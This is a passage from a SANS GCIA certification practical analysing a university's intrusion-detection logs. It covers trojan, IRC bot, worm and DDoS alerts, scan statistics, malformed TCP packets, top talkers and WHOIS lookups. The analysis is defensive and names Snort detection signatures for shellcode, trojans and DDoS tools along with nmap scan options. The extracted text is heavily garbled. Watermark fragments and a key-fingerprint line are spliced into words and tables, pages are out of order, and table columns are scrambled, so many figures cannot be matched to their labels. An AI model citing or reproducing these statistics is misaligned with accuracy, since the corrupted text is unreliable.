27 26
SA
NS
In
sti
tu
te
20
04
,A
- Remove the trojan on all compromised systems based on the instruction provided in the Correlations section documents. - A ltering improvement cannot be applied due to the ephemeral nature of the port number. - It is recommended to improve the IDS signature to lter the noise produced by the usage of port 27374 as an ephemeral port. To do so alert only when destination port is 27374; in this way all the trojan commands will be captured.
ut
ho
rr
95
eta
ins
fu ll r igh ts.
GCIA practicals: [JASO1] [LES1] [BEAR1] [DON1] This detect is analyzed including its relationship with port 27374 26 . SubSeven technical analysis 27 . Doug also asked for the ruleset used to log these detects in order to know why this alert was triggered and identify a compromised host and built a link graph around it 28 . - The same detect was researched by Al, 29 . It references the Treachery tool used above. - SubSeven information 30 .
Raul Siles - GCIA

dstp 211.150.211.203 192.168.0.2 211.150.203.67 211.150.195.212 count 17 55 82 129
srcp 172.138.40.37 172.171.216.138 192.168.0.235
count 98 98 129
resolution AC8A2825.ipt.aol.com ACABD88A.ipt.aol.com Non-resolvable
Table 3.28: Top external destinations alert #11
It was checked that there are lots of different alerts (not ICMP) were systems belonging to the AOL address range take a role (source or destination) (see table 3.29).
attack High port 65535 udp - possible Red Worm - trafc Possible trojan server activity MY.NET.30.3 activity TCP SRC and DST outside network EXPLOIT x86 NOOP MY.NET.30.4 activity SMB Name Wildcard count 3 10 14 18 163 1267 3049
eta
ins
src. net 68 192.168.0 172 count 63 283 1474
Defensive recommendations: - See Alert #7. The same anti-spoong mechanisms must be used at the IP level, so independently of the protocol used: ICMP, TCP or UDP. - The reason for the AOL trafc must be researched, and in case it is coming from this company, they must be contacted trying to reduce the number of these missing packets.
3.4.12
Alert #12: All different IRC alerts
Apart from the top events, there were other detects considered interesting. This and next sections focus on them.
32
http://www.giac.org/practical/esperanza_lopez-wilkin_gcia.doc
SA
NS
In
sti
- The AOL trafc was analyzed in other papers when generating TCP alerts, such as Alert #7 (see its Correlations section). It is a must to determine the nature of this trafc. - Esperanza found the same behaviour in her practical 32 .
tu
te
20
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 Correlations:
04
,A
Table 3.29: AOL addresses alerts
ut
96
ho
rr
Table 3.30: Source networks for alert #11
fu ll r igh ts.
Raul Siles - GCIA
- [LES1] covered IRC evil - running XDCC. - [DON1] analyzed several of these IRC alerts.
All the referenced hosts involved in the IRC activities should be investigated because they probably have been compromised. If this is not the case, at least it should be checked if they follow the University policy that seems to contain statement about the IRC trafc controls and restrictions because most IRC alerts have been customized using the string [UMBC NIDS IRC Alert]. One of the top networks managing IRC trafc is MY.NET.97.X. Some GCIA honor practicals focused on these IRC events:
SA
NS
In
sti
tu
- [1] To port 6666: IRC evil - running XDCC (src: MY.NET.82.79) - [1] To port 6667: [UMBC NIDS IRC Alert] Possible trojaned box detected attempting to IRC (src: MY.NET.97.236) - [4] From ports 6969 and 6883: [UMBC NIDS IRC Alert] K\:lined user detected, possible trojan. (dsts: MY.NET.97.194 and MY.NET.150.133) - [12] From port 6667: [UMBC NIDS IRC Alert] Possible Incoming XDCC Send Request Detected. (dst: MY.NET.42.5) - [37] From port 6667: [UMBC NIDS IRC Alert] Possible drone command detected. (dsts: MY.NET.163.249, MY.NET.80.149, MY.NET.153.195, MY.NET.153.174, MY.NET.69.156 and MY.NET.151.72) - [55] To ports 6663, 6664, 6666 and 6667: [UMBC NIDS IRC Alert] Possible sdbot oodnet detected attempting to IRC (srcs: MY.NET.80.149, MY.NET.97.21, MY.NET.97.91, MY.NET.97.126, MY.NET.97.135, MY.NET.97.219 and MY.NET.163.249) Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 - [182] To port 6667: [UMBC NIDS IRC Alert] XDCC client detected attempting to IRC (srcs: MY.NET.15.198, MY.NET.29.2, MY.NET.80.16 and MY.NET.81.18) - [341] From port 6667: [UMBC NIDS IRC Alert] IRC user /kill detected, possible trojan. (dsts: host placed mainly in MY.NET.42, 60 and 97)
te
20
04
,A
ut
ho
rr
97
eta
ins
fu ll r igh ts.
Due to the fact that the IRC, Internet Relay Chat, protocol is being used nowadays as a communication channel for lots of trojan and DoS applications, it is interesting to analyze all the distinct IRC alerts generated, although they are not in the SANS Top 20 list [TOP20]. This section contains the specic IRC alerts addressed to external systems from MY.NET from client to server (To port ...) and from server to client (From port ...). The number of alerts has been included between brackets.
Raul Siles - GCIA
3.4.13
Alert #13 and beyond: Other relevant alerts
This section include all other alerts not relevant by their total number of entries but that were selected for a fast analysis because they suggest some kind of investigation over the internal systems involved on them. They reect a compromise, some kind of worm infection or DDoS agent running. - Back Orice trafc, a well known Windows trojan software [BO1], addressed mainly to net MY.NET.190.X. - Two host are infected with the MS Blaster worm (analyzed in Chapter 2 detect 3): MY.NET.163.249 and MY.NET.153.195. The alert generated was [UMBC NIDS] Internal MSBlast Infection Request. This was conrmed by the fact that a previous exploit was launched against the RPC service in both cases:
10/22-19:03:38.010514 EXPLOIT x86 NOOP 212.81.218.50 1753 MY.NET.163.249 135 10/22-19:03:38.714721 [UMBC NIDS] Internal MSBlast Inf MY.NET.163.249 4444 212.81.218.50 2066
Lots of attempts to exploit this Windows RPC vulnerability were captured as EXPLOIT x86 NOOP alerts (see Alert #4). - In the same way, four additional hosts potentially infected by the Nimda worm were detected: MY.NET.70.176, MY.NET.75.103, MY.NET.97.150 and MY.NET.97.228. This time the alert was NIMDA - Attempt to execute cmd from campus host [LES1]. In this case all them seem to be false positives Key fingerprintother trafc at 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 because no = AF19 FA27 all was captured. - Alert [UMBC NIDS] External MiMail alert appeared 103 times from about 50 different sources against 1 specic host, MY.NET.12.6, and port 25. The specic packet payloads triggering this alert should be analyzed in order to discard false positives because this host received lot of SMTP connection as well as other scans. The activity is associated to the MiMail worm, that spreads via e-mail and exploits 2 distinct Windows vulnerabilities. More information about the worm and how to remove it is located at 33 . - There is a compromised host receiving control connections from a DDoS tool, mstream. The message was DDOS mstream client to handler and corresponds to 2 different standard Snort rules from ddos.rules: sid:247 and sid:249. First rule (to port 12754) was reported from 63.211.66.115 (it is a Web server: http://unknown.level3.net) to MY.NET.84.235, 12 times and one time from 61.241.130.19 (a suspicious Web server) to the same internal host. This system must be investigated because it can just be a Windows host
33
http://securityresponse.symantec.com/avcenter/venc/data/w32.mimail.a@mm.html
SA
NS
In
sti
tu
te
20
04
,A
98
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
3.5. LIST OF PORTSCAN ALERTS
3.5
List of portscan alerts
The same alert les contain a set of different events that correspond to portscan activities, referred as spp portscan due to the Snort preprocessor (spp) that generate them. The alert portscan data reported 1114145 events and these were launched from 4724 different sources where 310 of them belong to the internal network. The same number of internal sources was reported when analyzing the scan les, so the information is coherent.
34 35
http://bitconjurer.org/BitTorrent/ http://lists.netsys.com/pipermail/full-disclosure/2003-September/010932.html
SA
NS
In
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 All them correspond to Snort shellcode.rules signatures: 649, 650 and 651. The top target system for all them is MY.NET.84.180, so it should be investigated. As mentioned before, some of those correspond to the MS Blaster worm scans, and others go to port 6881, associated to BitTorrent 34 , a P2P solution 35 .
sti
tu
te
20
04
1 EXPLOIT x86 stealth noop 2 EXPLOIT x86 setuid 0 3 EXPLOIT x86 setgid 0
,A
ut
99
ho
browsing the Web or a compromised system (it received lot of trafc to some vulnerable Windows services ports). Second rule (to port 15104) was reported one time from 68.85.216.188 to MY.NET.24.34. All trafc exchanged between these two systems goes from and to ephemeral ports, not a very common situation, given the fact that this internal host seems to be a web server. Further investigation is required. - Again, two host were identied as compromised receiving communications from a new DDoS tool, shaft. The Snort ddos.rules signature reported is DDOS shaft client to handler, sid:230. First host is MY.NET.60.163 and its being contacted from 209.225.33.10 (a default iPlanet Web server). Second host is MY.NET.84.235 and it is being contacted from 4 different sources: 207.46.196.119, 211.154.223.55, 211.154.223.99 and 61.145.114.185. The internal host was analyzed in the previous alert. All the external hosts have suspicious Web servers where directory listing is denied or the GET method is not implemented. In both DDoS alerts, mstream and shaft, the trafc comes from TCP port 80, trying to simulate Web server responses for real attacks. - There were 3 different and not very frequent exploit alerts reported:
rr
eta
ins
fu ll r igh ts.
3.6. LIST OF TOP SCANS
Raul Siles - GCIA
Table 3.31 contains the different portscan reports notied, the number of each type and the different number of source systems that generate them.
attack spp portscan: End of portscan spp portscan: PORTSCAN DETECTED spp portscan: portscan status count 115979 118308 879858 # src 4701 4723 4718
Table 3.31: Total portscans captured
10/19-00:17:01.271722
spp_portscan: portscan status MY.NET.1.3 5 connections across 5 hosts: TCP(0), UDP(5)
Key
src count MY.NET.1.3 200840 fingerprint = AF19117572 2F94 FA27 MY.NET.163.107 111670 MY.NET.84.194 MY.NET.70.154 76081 MY.NET.163.249 69350 MY.NET.1.5 23943 MY.NET.111.72 20920 MY.NET.73.94 16876 MY.NET.42.1 15485 MY.NET.70.129 13822
,A
ut
The portscans logs only provide information about the source address. The top talkers all correspond to internal addresses (see table 3.32). The top internal source portscanner hosts match with the ones obtained from the scan logs, so will be analyzed in the next section.
Table 3.32: Top source portscan talkers
NS
In
sti
tu
te
20
04
998D FDB5
3.6
List of top scans
Due to the huge amount of data associated to the scanning trafc, the analysis has been developed using statistical processes. As a conclusion, the analysis shows a total of 11699719 scan events. There were 140 different scans, combining type and flags, and the top 20 scan types are in table 3.34. 100
SA
ho
Table 3.33: Top external source portscan talkers
rr
src count 63.250.195.10 5116 DE3D193.114.70.169 2456 F8B5 06E4 A169 4E46 2125 213.180.193.68 217.174.98.145 1062 195.111.1.93 936 195.110.140.66 902 212.16.0.33 893 219.121.66.87 878 24.203.159.163 808 158.196.149.61 776
eta
ins
From this information, and discarding the differences produced by the corrupted entries in the original log les, it seems that there were about 118000 different portscan attacks from over 4710 distinct sources. The portscan status events summarize a set of scan packets within a portscan attack, such as, 5 UDP scans to 5 hosts:
fu ll r igh ts.
Raul Siles - GCIA

type SYN UDP SYN FIN INVALIDACK UNKNOWN NULL UNKNOWN UNKNOWN UNKNOWN INVALIDACK NOACK VECNA UNKNOWN NOACK NOACK NOACK INVALIDACK UNKNOWN NOACK ags ******S* 12****S* *******F ***A*R*F 1**A*R** ******** 1****R** *2*A**S* *2*A**** ***AP*S* *****RS* ****P*** *2***R** **U**RSF **U**RS* **U*P*S* ***APR*F *2*A*R** *****R*F count 8577404 3108290 6639 2707 2386 1276 343 70 65 62 57 44 40 29 22 22 20 16 12 10 # src 1029 622 406 172 1832 1061 63 43 6 7 19 19 5 10 9 13 16 6 9 8

# srcp 37839 9211 4689 2591 54 6 110 11 4 1 3 4 13 10 14 11 17 8 2 2 # dst 4877732 368421 73 147 160 111 56 52 12 16 19 25 5 22 8 12 15 9 10 10 # dstp 40623 23189 55 23 1697 1066 30 65 64 60 20 31 4 25 11 9 6 8 10 10
Lets summarize the top three as the typical TCP and UDP scans (nmap examKeyple options= AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 fingerprint have been used as a reference). Analyzing those scans with more than a hundred entries it must be pointed out that the rst and third top scans correspond to the typical scan using a TCP SYN packet. The difference between both is the usage of the TCP reserved bits (see the OOS section), but both can be used in a connect scan (nmap -sT) or in a half-open scan (nmap -sS), where the last packet of the TCP 3-way handshake is never sent. The second top scan in the list is based on the UDP protocol (nmap -sU). It is needed when checking for specic UDP services. The three top scans represent the 99% of all scan packets received. Most scan activity, as explained at the beginning of this document, occurred in a 15 hour period. Fourth top scan is based on sending a TCP FIN packet (nmap -sF), a stealthier scan, difcult to be detected without an IDS sensor. Typically, a closed port will reply with a RST packet while an open one will ignore it, although not all OS behaves like this, as for example, Windows [NMAP1]. All other scans can be classied in the following groups: - NULL scan: no ags were set. The alert Null scan! that appeared 455 101
SA
NS
In
sti
tu
te
20
04
,A
ut
Table 3.34: Total portscans captured
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
Key
Table 3.35: Destination ports for 4 top scans
tu
te
dstp 135 53 80 445 22321 6257 137 fingerprint = 4000 554 7674
count 5808381 2370289 2048608 211497 132539 109499 93326 AF19 FA27 73032 63768 50813
rr
2F94 998D FDB5 DE3D
04
,A
ut
ho
eta
The alert NMAP TCP ping! that appeared 752 times in this case was not triggered by logged scans packets with the ACK bit set and an ACK value of zero as in [BEAR1]. Most of these alerts go from port 80 to port 53, in order to bypass the rewall controls because both, HTTP and DNS, are the most typical open ports. The scan data was divided in two sets. The rst one correspond to the top four detects, while the second set includes all the other scans. This division was used during the destination port analysis (see table 3.35 and table 3.36).
ins
dstp count 0 270 110 85 3802 39 80 29 1214 27 6883 20 135 16 F8B5 06E4 A169 3264 13 25 8 1306 7
20
Table 3.36: Destination ports for all other scans
While the top scan types were focused on RPC, DNS and HTTP, the most strange ones are mainly oriented to port 0, associated to the NULL scans, but also they used other known ports, such as POP3, HTTP, RPC or SMTP. As a recommendation, the top source scanning systems must be analyzed. All them correspond to internal MY.NET, 130.85, computers (see the Top talkers section). There was a wide distribution of external source hosts, 4480, scanning the network. There were thousands of internal hosts identied as targets of this scanning trafc, accurately 16695 systems (probably most of them correspond to unused IP addresses), but it is a small value compared with the huge amount of external systems scanned during the period analyzed, more than 5 millions (5203279).
SA
NS
In
sti
102
fu ll r igh ts.
times was triggered by these packets. It mostly goes from port 0 to port 0. - INVALIDACK: the ACK ag has been set but also other combination of not valid ags. - UNKNOWN: Some of the two ECN bits have been set. - NOACK: No ACK ag set. All packets associated to a established TCP connection must have the ACK bit set. - VECNA: this is a specic stealth scan [BEAR1].
4E46
Raul Siles - GCIA
3.7. LIST OF TOP OOS
Therefore, almost all scanning targets belong to a wide number of external networks, and almost all scans were generated from the University network. This type of activities should be reduced in order to mitigate the organization liability.
The Out Of Specs, OOS, packets logs are generated when Snort nds an erroneous TCP packet (all OSS logged packets use the TCP protocol), usually because a bad combination of TCP ag and/or options were used. This type of packets can be observed in a network due to several different reasons: - A malfunctioning NIC; Network Interface Card. - A broken TCP/IP stack, therefore the transmitted packets are corrupted. - Generation of crafted (manually manipulated) packets, probably with the goal of evade the security protection systems, like IDSes or rewalls, or trying to exploit a specic vulnerability. - A specic network implementation that doesnt follow the TCP [RFC793]. The most frequent OOS event has the following ags set, 12****S*, and has been generated 18086 times from 501 different source IP addresses. There were 18225 OOS events and most of them have a TTL value between 45 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 and 52, a TOS equal to zero, a datagram length of 60 and a TCP length of 40. All them have an IP header of 20 bytes. There were 313 events with an IP ID eld of zero while all the others have a random value set. Besides, 17988 events have the DF bit set. Trying to known more about these events, it is interesting to see the source and destination ports the TCP packets reference (see table 3.37 and table 3.38). The top 5 destination ports (97%) correspond to SMTP (mail, 25), HTTP (web, 80), 8887 (Ultima Online IRC 36 , 4662 (P2P - edonkey2000) and identd (113), respectively. The top source ports are HTTP and FTP (data connection) although the number of events is negligible; the reason is that most OOS packets are generated from ephemeral (client) ports. Finally, and due to the fact that the ags used are the main cause for a TCP packet to be reported as an OOS, these are the 17 different values collected with the different number of source systems generating them (see table 3.39). The most frequent case (99,2%) has both TCP reserved bits set, the ECN (Explicit Congestion Notication) and the CWR (Congestion Window Reducted). As
36
http://www.uo.com/ageofshadows/viscent.html
SA
NS
In
sti
tu
te
20
04
,A
ut
ho
103
rr
eta
ins
fu ll r igh ts.
3.7
List of top OOS
3.7. LIST OF TOP OOS
Raul Siles - GCIA

ags 12U*P*** 2*A**SF 12UA*RS* 2UA*RSF 12**PR** 12**PRSF 12*A*RS* 12U***** *UA**SF 12U***S* 2***RSF 12*AP**F **A**SF *U*P*SF ******* ***P*** 12****S* count 1 1 1 1 1 1 1 1 1 1 1 2 5 7 20 94 18086 # src 1 1 1 1 1 1 1 1 1 1 1 2 2 3 10 4 501
rr
Table 3.37: Top destination ports for OOS
Table 3.38: Top destination ports for OOS
eta
srcp 25 80 8887 4662 113 1214 6881 22 18753 81
count 11456 3580 1351 989 300 87 55 24 20 19
dstp 80 20 3931 51144 33540 37650 36799 35732 52627 3399
count 20 18 15 12 11 11 11 11 11 11
mentioned by [LES1], these can be set by an intermediate router with ECN support. In most cases they have been set when establishing a new connection, SYN packet, and there are 501 different sources, so it doesnt seem an ECN router is the cause here. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 These bits have been set in other anomalous packets, presenting impossible TCP ags combinations, such as, SYN and RESET, 12UA*RS*. As an initial investigation countermeasure it would be interesting to analyze the different sources involved in all these packets apart from the most common one, that is, a total of 32 IP addresses, with the idea of nding why these strange packets were generated. All top source talkers were external hosts and there were only two internal source systems involved in the OOS trafc. Therefore all top internal systems belonged to MY.NET, being only four external OOS destination hosts (see table 3.40). Apart from that, the top OOS talker, one from the internal network MY.NET.216.50 and one from outside 195.111.1.93, were analyzed. Both never were the destination of an OOS packet and none of these two hosts appeared in the alert log les. The external host generated 936 spp portscan events and 312 scan packets. Why? Because it specically launched 312 scans (312 x 3 = 936) (see table 3.41). All these scan packets were the same, a TCP SYN scan using the ECN and CWR bits, addressed to port 80 (HTTP) and mainly to a specic host, MY.NET.100.165
SA
NS
In
sti
tu
te
20
04
,A
104
ut
ho
ins
fu ll r igh ts.
Table 3.39: OOS ags
Raul Siles - GCIA

src 195.111.1.93 217.174.98.145 212.16.0.33 194.67.62.194 158.196.149.61 213.23.46.99 82.82.64.209 195.208.238.143 62.29.135.2 195.14.47.202 count 1102 932 864 792 784 682 559 446 429 410 int src MY.NET.216.50 MY.NET.15.49 ext dst 35.9.37.225 194.109.137.218 192.25.206.16 216.251.47.16 count 95 8 count 4 2 1 1
3.8. TOP TEN TALKERS

dst MY.NET.111.52 MY.NET.12.6 MY.NET.100.165 MY.NET.69.181 MY.NET.24.44 MY.NET.75.240 MY.NET.84.143 MY.NET.24.34 MY.NET.100.230 MY.NET.6.7 count 6904 3291 1551 1366 1115 769 591 423 244 213
Table 3.40: Top OOS source (all external) and destinations (all internal) attack spp portscan: PORTSCAN DETECTED spp portscan: portscan status spp portscan: End of portscan count 312 312 312
fu ll r igh ts.
type SYN
Table 3.41: Top external OOS host: portscans
This section includes statistical information about the top TEN talkers of all the different log types analyzed along this paper. The top talkers list includes a generic list and two specic list classifying the top internal and external systems. In all cases, both, source and destination IP address analysis has been developed. See table 3.42, table 3.43, table 3.44 and table 3.45. The top talkers list for the portscan alerts (spp portscan) and OOS were analyzed in the corresponding sections.
SA
NS
3.8
Top ten talkers
In
sti
(1075 OOS packets). As can be seen, the information between all the different log les is consistent. There is no activity in other log les for the internal host. Analyzing the OOS packets it can be seen that it generated the same type of OOS as the external system, 95 packets with the 12****S* ags. The OOS distribution by 998D FDB5 DE3D this 06E4 A169 a bit, Key fingerprint = AF19 FA27 2F94destination port in F8B5case varies 4E46 although it is mainly centered in the HTTP/HTTPS ports and other common services: IMAP, SSH, SMTP, LDAP and NNTP. This host generated OOS packets addressed to 11 different internal systems. The only OOS trafc coming from MY.NET going to MY.NET also correspond to packets with the same ags, 12****S*, all generated by MY.NET.216.50.
tu
te
20
04
,A
ut
ho
105
rr
eta
ins
ags 12****S*
count 312
3.9. REGISTRATION INFORMATION (WHOIS)

src MY.NET.80.51 MY.NET.150.133 MY.NET.162.41 169.254.244.56 MY.NET.29.2 68.55.85.180 193.114.70.169 68.54.91.147 MY.NET.84.224 68.57.90.146 count 115590 72063 7130 4279 3100 2933 2889 2743 1290 1251 src int MY.NET.80.51 MY.NET.150.133 MY.NET.162.41 MY.NET.29.2 MY.NET.84.224 MY.NET.80.105 MY.NET.150.198 MY.NET.163.249 MY.NET.153.141 MY.NET.42.9 count 115590 72063 7130 3100 1290 1117 474 445 310 195
Raul Siles - GCIA

src ext 169.254.244.56 68.55.85.180 193.114.70.169 68.54.91.147 68.57.90.146 172.142.110.232 68.55.62.79 200.96.13.157 151.196.19.202 209.6.97.168 count 4279 2933 2889 2743 1251 1124 1046 1022 997 771
Table 3.42: Top ten source alert talkers dst MY.NET.30.4 128.183.110.242 MY.NET.30.3 MY.NET.84.228 218.16.124.131 211.91.144.72 198.62.205.6 151.197.115.143 193.114.70.169 MY.NET.191.52 count 15604 7126 5728 5090 2854 1420 1265 1251 1208 1146 dst int MY.NET.30.4 MY.NET.30.3 MY.NET.84.228 MY.NET.191.52 MY.NET.80.105 MY.NET.163.249 MY.NET.15.198 MY.NET.1.3 MY.NET.27.103 MY.NET.80.16 count 15604 5728 5090 1146 1035 600 412 379 375 354
Table 3.43: Top 998D FDB5 alert talkers Key fingerprint = AF19 FA27 2F94ten destination DE3D F8B5 06E4 A169 4E46
20
04
,A
dst ext 128.183.110.242 218.16.124.131 211.91.144.72 198.62.205.6 151.197.115.143 193.114.70.169 200.96.13.157 199.181.134.74 169.254.45.176 162.42.228.33
ut
ho
rr
eta
SA
src 130.85.1.3 130.85.70.154 130.85.163.107 130.85.84.194 130.85.163.249 130.85.42.1 130.85.70.129 130.85.1.5 130.85.80.149 130.85.111.72
count 2166933 1294187 966595 888185 669973 273705 213577 211571 175961 171526
src ext 165.123.179.206 217.158.99.5 219.121.66.87 200.168.78.213 213.51.194.191 68.85.216.188 193.114.70.169 63.250.195.10 213.180.193.68 218.94.41.98
ins
NS
3.9
Registration information (whois)
The selection of the external IP addresses for a WHOIS investigation was made based on specic and interesting criteria while analyzing the top alerts. The IP addresses this research is focused on also cover 4 of the 5 top external source
In
Table 3.44: Top ten source scan talkers
sti
tu
te
106
fu ll r igh ts.
count 7126 2854 1420 1265 1251 1208 1112 878 710 489
count 14452 14548 14827 15688 16244 18246 19164 27734 30239 74607
Raul Siles - GCIA

dst 192.26.92.30 192.55.83.30 203.20.52.5 130.94.6.10 130.85.15.27 204.152.186.189 131.118.254.33 216.109.116.17 131.118.254.34 131.118.254.35 count 57085 43945 32455 32276 30276 26947 26036 25707 24599 23570

dst int 130.85.97.104 130.85.153.51 130.85.111.52 130.85.53.38 130.85.152.249 130.85.153.30 130.85.153.153 130.85.152.175 130.85.24.34 130.85.15.27 count 2182 2324 2512 2613 2835 3002 3067 3177 18825 30276 dst ext 205.231.29.244 131.118.254.35 131.118.254.34 216.109.116.17 131.118.254.33 204.152.186.189 130.94.6.10 203.20.52.5 192.55.83.30 192.26.92.30 count 19972 23570 24599 25707 26036 26947 32276 32455 43945 57085
Table 3.45: Top ten destination scan talkers
netname: NET263 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 descr: descr: country: admin-c: tech-c: mnt-by: mnt-lower: changed: changed: changed: status: source: Beijing 263 network group. Beijing CN ZH97-AP LY261-AP MAINT-CNNIC-AP MAINT-CN-263 ipas@cnnic.net.cn 20010726 apnic-dbm@apnic.net 20010730 hostmaster@apnic.net 20010806 ALLOCATED PORTABLE APNIC
- The networks belonging to 68.32.0.0, involved in the top external sources for alert MY.NET.30.4 activity and MY.NET.30.3 activity were found in ARIN [ARIN1], America. They belong to a telecom, high-speed Internet provider company of New Jersey, called Comcast 38 . The 68.55.0.0 network was also involved in other alerts, such as, TCP SRC and DST outside network.
OrgName: OrgID:
37 38
SA
http://www.net23.com http://www.comcast.net
NS
In
Comcast Cable Communications, Inc. CMCS
sti
tu
te
20
04
inetnum:
211.150.0.0 - 211.150.255.255
,A
- The top external destinations referenced by the alert ICMP SRC and DST outside network are non-resolvable systems; they were checked against APNIC [APNI1] in Asia. They belong to a company called Entegration One 37 located in Beijing, China. It is a technology corporation for the public service sector.
ut
ho
107
rr
eta
talkers. The dynamic Windows DHCP top talker address (169.254.244.56) is the only one not covered by this registration information section. The contact persons registered in the WHOIS databases have been omitted.
ins
fu ll r igh ts.
Raul Siles - GCIA
Address: Address: City: StateProv: PostalCode: Country: NetRange: CIDR: NetName: NetHandle: Parent: NetType: NameServer: NameServer: Comment: RegDate: Updated:
3 Executive Campus 5th Floor Cherry Hill NJ 08002 US 68.32.0.0 - 68.63.255.255 68.32.0.0/11 JUMPSTART-1 NET-68-32-0-0-1 NET-68-0-0-0-0 Direct Allocation DNS01.JDC01.PA.COMCAST.NET DNS02.JDC01.PA.COMCAST.NET ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE 2001-11-29 2003-11-05
1993-04-01 2003-02-05
- The top external scanning system for the External RPC call alert, 193.114.70.169, was investigated. It is a non-resolvable address that belongs to an UK company called PSINet Europe 40 , a network and hosting supplier. It was investigated in the link graph (see section 10). Due to the fact that it is an European company, the involved registry is RIPE [RIPE1].
inetnum: netname:
39 40
http://www.nasa.gov http://www.uk.psi.com
SA
193.114.70.160 - 193.114.70.191 FIRST-PROCUREMENT-ASSOCIATES-LIMITED
NS
NetRange: CIDR: NetName: NetHandle: Parent: NetType: NameServer: NameServer: Comment: RegDate: Updated:
In
128.183.0.0 - 128.183.255.255 128.183.0.0/16 GSFC NET-128-183-0-0-1 NET-128-0-0-0-0 Direct Allocation NS.GSFC.NASA.GOV NS2.GSFC.NASA.GOV
sti
tu
te
20
OrgName: National Aeronautics and Space Administration OrgID: NASA Address: AD33/Office of the Chief Information Officer City: MSFC StateProv: AL PostalCode: 35812 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D Country: US
04
,A
ut
ho
- The unique external destination, 128.183.110.242, referenced in the connect to 515 from inside alert has been analyzed through ARIN and it belongs to the NASA organization 39 . It is possible that a trust relationship has been established between the University and the NASA but it is probable too that the internal system is trying to compromise the NASA host.
rr
108
eta
ins
F8B5 06E4 A169 4E46
fu ll r igh ts.
Raul Siles - GCIA
route: descr: origin: mnt-by: changed: source:
193.114.0.0/15 EUNETGB-114-AGG AS1290 PSINET-MNT network-ripe@uk.psi.com RIPE
20021015
eta
ins
- All the other 3 different sources associated to the External RPC call alert were investigated. Only the relevant information is showed.
fu ll r igh ts.
descr: country: admin-c: tech-c: status: notify: mnt-by: changed: source:
FIRST PROCUREMENT ASSOCIATES LIMITED GB JB7221-RIPE AB480-RIPE ASSIGNED PA ripe-notify@uk.psi.com PSINET-UK-SYSADMIN sysadmin@uk.psi.com 19990903 RIPE
Key
The class-B network range is registered to Alltel 43 :

OrgName: OrgID: Address: City: StateProv: PostalCode: Country:
NS
41 42
http://www.lina.net http://www.lina.net 43 http://www.alltel.net
SA
But, specically, the address corresponds to a small network, using 28 bits of netmask:
In
166.102.99.229 (h229.99.102.166.ip.alltel.net): It is part of a network registered to a service provider called Lina.net 42 located in Iceland (IS).
sti
ALLTEL Corporation ALLT 1 Allied Dr. Little Rock AR 72203 US
tu
te
inetnum: netname: descr: descr: country: source: route: origin: fingerprint descr: = AF19 mnt-by: notify: changed:
81.15.0.0 - 81.15.127.255 IS-LINANET-20020805 Lina.Net PROVIDER IS RIPE 81.15.0.0/17 AS15605 FA27 2F94network FDB5 DE3D Lina.net 998D LINANET-MNT noc@lina.net markom@lina.net 20030813
04
,A
ut
ho
rr
81.15.45.1: This IP belongs to a service provider called Lina.net located in Iceland (IS).
41
F8B5 06E4 A169 4E46
20
109
3.10. THE LINK GRAPH
Raul Siles - GCIA
CustName: Address: City: StateProv: PostalCode: Country: NetRange: CIDR: Parent: NetType:
Export Market LAN 4792 Old William Penn Highway Export PA 15632 US
64.209.74.229: The IP corresponds to another IP services company, Global Crossing 44 , based in USA.
OrgName: OrgID: Address: City: StateProv: PostalCode: Country: NetRange: CIDR: NetName: Parent: NetType: Global Crossing GBLX 14605 South 50th Street Phoenix AZ 85044-6471 US 64.208.0.0 - 64.209.127.255 64.208.0.0/16, 64.209.0.0/17 GBLX-11A NET-64-0-0-0-0 Direct Allocation
The following software was used to analyze all the IDS logs:
Linux RH 9.0, kernel 2.4.20-20.9. MySQL: 3.23.54a-11. Perl: v5.8.0. Other Unix scripting tools: grep, sort, uniq, sed... Microsoft Excel 2002 SP2.
44
http://www.gblx.net
SA
3.11
Description of the analysis process
NS
In
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 The link graph (see gure 3.4) has been designed with the goal of obtaining all the relationships around the external host 193.114.70.169, also analyzed in the Registration section. The reason to select it was that it is involved as a source top talker in Alert #1 and #8, and in the global alerts, portscans and scans data sets. NOTE: The unique UDP scan to port 1085 goes to 130.85.150.198.
sti
tu
te
20
04
3.10
The link graph
,A
110
ut
ho
rr
eta
ins
fu ll r igh ts.
166.102.99.224 - 166.102.99.239 166.102.99.224/28 NET-166-102-0-0-1 Reassigned
Raul Siles - GCIA
3.11. DESCRIPTION OF THE ANALYSIS PROCESS
SA
NS
In
An initial step before starting this analysis was reviewing other people practicals, mainly those considered as honors, to get an idea of the tools and methods that could be used. This information help to design the analysis process, mainly the database tables creation and population method.
sti
tu
Figure 3.4: Link diagram for host 193.114.70.169
te
20
04
,A
ut
111
ho
rr
eta
ins
fu ll r igh ts.
3.11. DESCRIPTION OF THE ANALYSIS PROCESS
Raul Siles - GCIA
NOTE: Due to length constraints related with this GIAC practical the detailed steps to acomplish these tasks have not been included, although it would be very helpful for other people trying to get the GCIA.
45
SA
NS
First of all the original datales were combined into individual, unique les. Then a elaborated preprocessing work was developed in order to remove corrupted entries. MySQL was selected as the main platform to query and search into the captured data, so all input les were preprocessed in order to load all events into the database 45 . Although Snortsnarf was tested, it was discarded due to memory requirements (512 MB. of RAM was not enough). Although several methods could be used to extract the information, for example basic Unix commands as in Part2 (Networks Detects), once the information was loaded in the MySQL database, all processing was mainly developed using SQL sentences, based on the environment described in [BRAN1] and [LES1]. The analysis process started getting the top different alerts. Then the top sources and destinations were extracted using similar SQL sentences to the ones showed by [DON1]. Other relevant SQL queries has been extracted from [BRAN1] plus a new set of customized additional SQL sentences, used to extract all the statistical information from the DB. Both papers were really useful in setting the DB environment. Excel was used to draw the statistical diagrams over time. The basic information was used to guess the network topology and the different services available. The research was focused on 